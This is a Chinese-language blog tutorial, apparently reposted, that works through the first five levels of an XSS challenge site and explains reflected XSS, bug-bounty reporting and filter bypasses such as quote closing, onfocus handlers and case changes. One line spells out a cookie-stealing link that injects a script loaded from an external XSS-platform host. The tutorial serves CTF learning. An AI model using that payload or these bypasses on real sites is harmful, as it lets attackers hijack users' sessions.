从xss挑战之旅来重读xss(一)
在開始這篇文章之前,先簡單聊幾句:
- xss很多時候是雞肋,比如說self-xss
- 很多廠商都會注明拒收反射xss,如58src
- 遇到請證明危害性的說法就走,人家的潛臺詞也是拒收反射xss
- 遇到收反射xss的,證明截圖拿cookies能比alert彈個窗多很多money
- xss有時候也值很多錢,比如說某廠商的一個存儲xss就給了3.5k
其實我們基本上都知道xss是什么,在給廠商提交漏洞的時候,關鍵在于著重說明,能影響哪些用戶,怎么影響(操作難度問題),能拿到什么(cookies第一)
下面開始正文,先簡單介紹下xss,然后以xss挑戰之旅來進階實戰xss,視頻版周末更新
如果喜歡這篇文章的,麻煩幫忙去我的b站點個關注,點贊,收藏,如果還能投個硬幣的話,那就再感謝不過了!你的支持是我創作前進的最大動力!
什么是XSS
-
XSS全稱:
跨站腳本(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets)的縮寫CSS混合,所以改名為XSS;攻擊者會向web頁面(input表單、URL、留言版等位置)插入惡意JavaScript代碼,導致管理員/用戶訪問時觸發,從而達到攻擊者的目的。 -
XSS的危害:
竊取管理員/用戶的cookie非法登錄 -
XSS類型:
1、反射型
2、存儲型
3、DOM型
xss挑戰之旅
http://xss.tesla-space.com/
前情提示:先自我嘗試,遇到問題卡住,或者成功進入下一關再來閱讀,會收獲更多哦~
第一關
進去首先可以看到,沒有任何的輸入點,而頁面上有一個test(用戶名),url中也有一個name參數,猜測是將url中的name獲取到的值,直接放入頁面導致了xss,我們可以先試一下,看看頁面上的值會不會根據name參數得到的值而改變
確定了我們的猜想,接下來,我們隨便來個payload
輕松進入下一關,沒有任何過濾。當然,這里作者只是為了一步一步引導xss學習,而不是說實戰中就是這么簡單(小聲bb,確實也有這么簡單的)
這里暫停一下,我們先來繼續聊聊反射xss能做什么,比如說這里,我們來反射一個cookies看看。由于這個站點沒有設置cookies,我就直接手動給他加cookies,來完成我們的問題演示
接下來,我們來試試,假如黑客要拿到我的cookies,他需要怎么樣的一個payload,最簡單就是通過xss平臺來搞定
請注意!!! 除了ctf或者本地測試,請不要使用網絡上的xss平臺,因為你能拿到的如cookies數據,這些平臺也能拿到,可能你是好心做公益測試,但是cookies的泄露,會給測試廠商帶來很大的威脅!
試試效果,看看能不能搞到我編寫的cookies
可以很清楚的看到,已經成功拿到了我編寫的cookies。可能對于小白來說,已經有點蒙圈了,我們再來整理一遍邏輯吧
- 首先,通過這個網站,我構造了一個模擬真實的環境:黑客找到一個站點存在反射xss,接下來他想要獲取普通用戶或者管理員的cookies(這個站點沒有cookies,我手動添加了cookies),于是他通過xss平臺構造了這樣一個鏈接http://test.ctf8.com/level1.php?name=<script sRC=https://xss8.cc/yAy4></sCrIpT>
- 普通用戶收到這樣一個鏈接(一般會配合一些文字做干擾),沒有注意就點開了,且其已經登陸了這個網站(cookies未失效),所以黑客能輕松拿到用戶的cookies,之后就能以普通用戶的身份進行任何操作了
可能你會說,這樣一個明顯有問題的鏈接,我肯定不會點,但,黑客可以對鏈接后面的參數進行混淆,添加無意義參數進行干擾,還可以用短鏈接等等操作,加上很多人的安全意識還沒有完全養成,所以說反射xss也是有一定危害的
那你可能會問了,為什么反射xss很多廠商拒絕接受這種漏洞呢?答案當然是,這種漏洞的利用其實非常難,就以cookies舉例
- 用戶安全意識提高
- 不以cookies做唯一身份令牌,比如說我記錄上次登錄ip,不一樣了就讓這個cookies失效要求重新登陸;再比如說結合設備型號,參數等等
簡單的反射xss就說這么多了,接下來進入第二關
第二關
和第一關一樣的方法,我們先找到可疑的點,當我們改變唯一輸入點的時候,頁面有兩處隨之改變
接下來嘗試常規payload,不能彈窗,也沒有提示下一輪
右鍵查看源碼,發現已經被被編碼轉義了
而下面的那處,沒有被轉移,其無法彈窗的原因是沒有閉合引號和尖括號
我們閉合引號,尖括號即可成功進入下一關,payload如下:
第三關
和第二關非常的相似,于是我選擇使用同樣的payload進行測試
這里出現了兩個問題:
- "無法閉合
- ’變成了",且后面的被編碼了
所以首先,我們先可以使用’閉合前面的",之后由于我們出不去這個input標簽,那我們就直接在標簽內加載js,可選比如說onclick,onfocus等。之后測試發現對于等號后面參數會自動添上"",再就是后面多了一個’,我們需要使用//注釋掉
最后payload如下:
第四關
和第三關非常的相似,我們使用"進行value值的閉合,之后直接使用onfocus執行js代碼。由于多了一個",所以我們使用//進行注釋,也就是說,執行的js代碼是:alert(111)//"
payload如下:
第五關
這一關還是和前面幾關類似,我們繼續使用第四關的payload進行嘗試,發現onfocus被攔截了
嘗試大小寫繞過,沒想到直接就成功繞過了
payload如下:
總結
文章的第一部分就到這里結束了,總結一下,我們學習了什么:
- 反射xss的原理與危害性在哪里?
- 反射xss如何進行彈窗?
- 反射xss如何獲取用戶cookies?
- 通過閉合標簽,onfocus,大小寫,規則猜解來進行反射xss的繞過
如果喜歡這篇文章的,麻煩幫忙去我的b站點個關注,點贊,收藏,如果還能投個硬幣的話,那就再感謝不過了!你的支持是我創作前進的最大動力!
總結
以上是生活随笔為你收集整理的从xss挑战之旅来重读xss(一)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: play home android,pl
- 下一篇: yqsc是什么意思_QSC是什么意思?